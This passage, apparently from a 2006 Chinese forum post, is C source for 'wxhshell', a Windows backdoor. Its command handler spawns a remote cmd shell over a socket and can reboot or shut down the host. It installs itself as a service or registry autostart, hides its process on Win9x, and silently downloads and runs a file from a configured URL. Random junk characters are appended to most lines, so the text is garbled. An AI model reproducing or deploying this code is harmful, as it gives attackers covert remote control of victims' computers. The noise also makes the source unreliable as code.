8q tNK> D  
    switch(cmd[0]) { "Ny_RF  
  a`|/*{  
  // 帮助 1 !\pwd@{  
  case '?': { W%1fm/ G0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d,D)>Y'h  
    break; Wg}#{[4  
  } eMh:T@SN  
  // 安装 u $sX6  
  case 'i': { _=}Y lR  
    if(Install()) H56e#:[$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ir}&|"~H  
    else =BGc@:2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +9h6{&yr1  
    break; A #jiCIc  
    } $ B$=,^)3  
  // 卸载 XU SfOf(  
  case 'r': { <F=j6U7   
    if(Uninstall()) b0KorUr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^k-H$]  
    else c\;} ov+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C %EQ9Iq6r  
    break; ;j/ur\37  
    } .vT'hu  
  // 显示 wxhshell 所在路径 ?94da4p  
  case 'p': { 1W/= =+%I  
    char svExeFile[MAX_PATH]; .R-:vU880  
    strcpy(svExeFile,"\n\r"); "[#jq5> :  
      strcat(svExeFile,ExeFile); F48`1+  
        send(wsh,svExeFile,strlen(svExeFile),0); h_CeGl!M}  
    break; PDpIU.=!0  
    } FAQ:0 L$G  
  // 重启 ?T4%"0  
  case 'b': { r_2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YDQV,`S7  
    if(Boot(REBOOT)) %@BQv 4oJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ec]ksw6T+  
    else { - z|idy{  
    closesocket(wsh); H=yD}!j  
    ExitThread(0); G&Cl:CtC  
    } C ]r$   
    break; Cch1"j<k$  
    } mIr{Wocx  
  // 关机 2r* o  
  case 'd': { ^ePSI|EW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WVo%'DtF`  
    if(Boot(SHUTDOWN)) ZE=~ re  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ipbVQ7  
    else { [C d 2L&9  
    closesocket(wsh); U9N}6a=  
    ExitThread(0); }RoM N$r  
    } WQK#&r*  
    break; ;^ /9sLW?#  
    } x]{h$yI  
  // 获取shell ]gmf%g'C  
  case 's': { !'[sV^ ds  
    CmdShell(wsh); wCI.jGSBW  
    closesocket(wsh); i_=P!%,  
    ExitThread(0); FS@SC`~(  
    break; *y0`P0V|8  
  } gK%&VzG4  
  // 退出 S$$:G$j  
  case 'x': { Cu|n?Uk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :))AZ7_  
    CloseIt(wsh); 3PJ  
    break; _5X}&>>lhF  
    } H$[--_dI{  
  // 离开 WrD20Q$9Q  
  case 'q': { {)%B?75~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c9'#G>&h~^  
    closesocket(wsh); /Fv1Z=:r  
    WSACleanup(); glv(`cQ  
    exit(1); | z('yy$  
    break; 9(@bjL465  
        } 5Y,e}+I>  
  } F]ALZxwkz  
  } gVI*`$  
-m+2l`DLy  
  // 提示信息 ^ #Wf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rgP$\xn-  
} h]zx7zt-  
  } ?]7ITF  
 6f{c  
  return; l"cO@.T3  
} D!X{9q}S1  
-iW[cj R`$  
// shell模块句柄 wLgRI$ _Dm  
int CmdShell(SOCKET sock) EG1SIEo  
{ g^]Q*EBa  
STARTUPINFO si; UIu'x_qc  
ZeroMemory(&si,sizeof(si)); klx4Mvq+/@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }U #S*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y&j6;2-Z  
PROCESS_INFORMATION ProcessInfo; |RpC0I  
char cmdline[]="cmd"; Ia(A&Za  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $h$+EE!  
  return 0; Z4(2&t^  
} :zZtZT!  
e~-D k .i  
// 自身启动模式 TIvLY5 HG  
int StartFromService(void) 6}|vfw  
{ jV7q)\uu^  
typedef struct r[?rwc^  
{ %`}Qkb/Lyh  
  DWORD ExitStatus; *PMql$  
  DWORD PebBaseAddress; `b] NB^/  
  DWORD AffinityMask; oF*Y$OEu?c  
  DWORD BasePriority; fqr}tvMr=T  
  ULONG UniqueProcessId; cw^FOV*  
  ULONG InheritedFromUniqueProcessId;  Et- .[  
}   PROCESS_BASIC_INFORMATION; HQE#O4  
,Tr12#D:  
PROCNTQSIP NtQueryInformationProcess; n;q7? KW8  
o%|1D'f^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `V?{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >Ek `PVPD  
k(7! W  
  HANDLE             hProcess; gF%ad=xm  
  PROCESS_BASIC_INFORMATION pbi; Q!Op^4Jz  
9YvMJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $GPA6  
  if(NULL == hInst ) return 0; j&&^PH9ZY  
ct]5\g?U'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y]n^(V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4+W}TKw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G_o/ lIz"  
Onc!5L  
  if (!NtQueryInformationProcess) return 0; G!Uq#l>  
s/T5aJR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Dnp^yqz*  
  if(!hProcess) return 0; v |i(peA#  
oOD|FrlY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5q) Eed  
{<]abO  
  CloseHandle(hProcess); :WxMv~e{U  
KS| $_-7 u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y0b.utR&  
if(hProcess==NULL) return 0; <e=0J8V8,i  
M9N|Ql  
HMODULE hMod; _{ba  
char procName[255]; |_ @iaLE  
unsigned long cbNeeded; gVD!.  
$Z(zO;k.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fDRQ(}  
bk7miRIB  
  CloseHandle(hProcess); %v|,-B7Yx  
G?"1 z;  
if(strstr(procName,"services")) return 1; // 以服务启动 h?R-t*G?  
6iTDk  
  return 0; // 注册表启动 Fj5^_2MU:  
} 97BL%_^k  
'WOW m$2  
// 主模块 Ft|a/e  
int StartWxhshell(LPSTR lpCmdLine) eIEcj<f  
{ Qv?jo(]  
  SOCKET wsl; NT-du$! u  
BOOL val=TRUE; pG4Hy$e  
  int port=0; ! [:K/  
  struct sockaddr_in door;  /!9949XV  
HKh)T$IZM  
  if(wscfg.ws_autoins) Install(); pkT a^I  
i@p?.%K{  
port=atoi(lpCmdLine); hyBSS,I  
i'57|;?  
if(port<=0) port=wscfg.ws_port; F^w0TD8  
j`#|z9`(pB  
  WSADATA data; MJD4#G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NH?s  
:Ert57@l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~f@;.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ']dTW#i  
  door.sin_family = AF_INET; )Q\;N C=4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rLVAI#ci=  
  door.sin_port = htons(port); 0p#36czqy  
G)putk@   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r&H>JCRZ<=  
closesocket(wsl); r|P4|_No  
return 1; Jsw<,uT D  
} l p? h~  
I,#U _  
  if(listen(wsl,2) == INVALID_SOCKET) { \"lzmxe0p  
closesocket(wsl); Z c"]Cv(  
return 1; 7_{x '#7  
} +FJ o!~1  
  Wxhshell(wsl); a;lCr|*  
  WSACleanup(); `=\G>#p<T  
( {8Q=Gh  
return 0; cis ~]x%  
zxj!ihs<  
} &,#VhT![  
P "%/  
// 以NT服务方式启动 [oYe/<3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \myj Y  
{ N-NwGD{  
DWORD   status = 0; )HU?7n.{  
  DWORD   specificError = 0xfffffff; ~\Ynih  
&B3kzs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .f6_[cS;g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d~n+Ds)%F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6\]-J*e>  
  serviceStatus.dwWin32ExitCode     = 0; Pjx9@i  
  serviceStatus.dwServiceSpecificExitCode = 0; Gis'IX(  
  serviceStatus.dwCheckPoint       = 0; 4RzG3CJdS  
  serviceStatus.dwWaitHint       = 0; 6?t5g4q*nn  
E+Gea[c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ).&$pXj  
  if (hServiceStatusHandle==0) return; )pzXC  
&556;l  
status = GetLastError(); !"1bV [^  
  if (status!=NO_ERROR) rKjQEO$yi  
{ ;DGWUK.U[H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !Q?4sAB  
    serviceStatus.dwCheckPoint       = 0; hR?rZUl2M  
    serviceStatus.dwWaitHint       = 0; :<jf}[w!  
    serviceStatus.dwWin32ExitCode     = status; J6Kf z~%  
    serviceStatus.dwServiceSpecificExitCode = specificError; D@3|nS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1.>` h:  
    return; P]y5E9 k  
  } V*/))n?  
k%LE"Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :b ;5O3:B  
  serviceStatus.dwCheckPoint       = 0; mg 3jm  
  serviceStatus.dwWaitHint       = 0; ~ PPGU1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '}}DPoV  
} l@GpVdrv  
@emZwN"m  
// 处理NT服务事件,比如:启动、停止 uD5i5,q1Hs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) , <[os  
{ #VrT)po+  
switch(fdwControl) %ZxKN;  
{ Dp'/uCW)  
case SERVICE_CONTROL_STOP: 1k hwwoo  
  serviceStatus.dwWin32ExitCode = 0; _\1(7?0D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +6>Pp[%  
  serviceStatus.dwCheckPoint   = 0; 1E-$f  
  serviceStatus.dwWaitHint     = 0; |W::\yu6  
  { 2L\h+)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {vU '>pp  
  } "5e]-u'  
  return; YvU#)M_h  
case SERVICE_CONTROL_PAUSE: &iSQ2a!l8b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Mu:H'$"'H  
  break; C= Zuy^  
case SERVICE_CONTROL_CONTINUE: Nd0Wt4=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FKzqJwT  
  break; }\irr9,  
case SERVICE_CONTROL_INTERROGATE: 5<S1,u5  
  break; 6jnRC*!?  
}; -~xd-9v?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R0+m7mx#E  
} !7w-?1?D  
H11Wb(6Wu  
// 标准应用程序主函数 !K@y B)9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^8\pJg_0  
{ G(4k#jB  
$M><K  
// 获取操作系统版本 wgufk {:  
OsIsNt=GetOsVer(); y_nh~&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7X.1QSuE  
ar{e<&Bny  
  // 从命令行安装 *r_.o;6  
  if(strpbrk(lpCmdLine,"iI")) Install(); Comu c  
i<T`]g  
  // 下载执行文件 eFx*lYjA  
if(wscfg.ws_downexe) { k{;:KW|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 44]ae~@a  
  WinExec(wscfg.ws_filenam,SW_HIDE); zZy>XHR H  
} U]P;X~$!  
Nn^el' S'  
if(!OsIsNt) { [;b9'7j'  
// 如果时win9x,隐藏进程并且设置为注册表启动 a#{a{>  
HideProc(); ;J _d%  
StartWxhshell(lpCmdLine); J) (pGS@  
} B[*i}k%i  
else c9& 8kq5  
  if(StartFromService()) RXP"v-  
  // 以服务方式启动 4x3`dvfp/  
  StartServiceCtrlDispatcher(DispatchTable); Z`f _e?  
else ^hgpeu   
  // 普通方式启动 E^qKkl  
  StartWxhshell(lpCmdLine); 9 (&!>z  
kfHLjr.  
return 0; Oll\T GXP!  
}
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只看该作者 1 发表于: 2006-10-10
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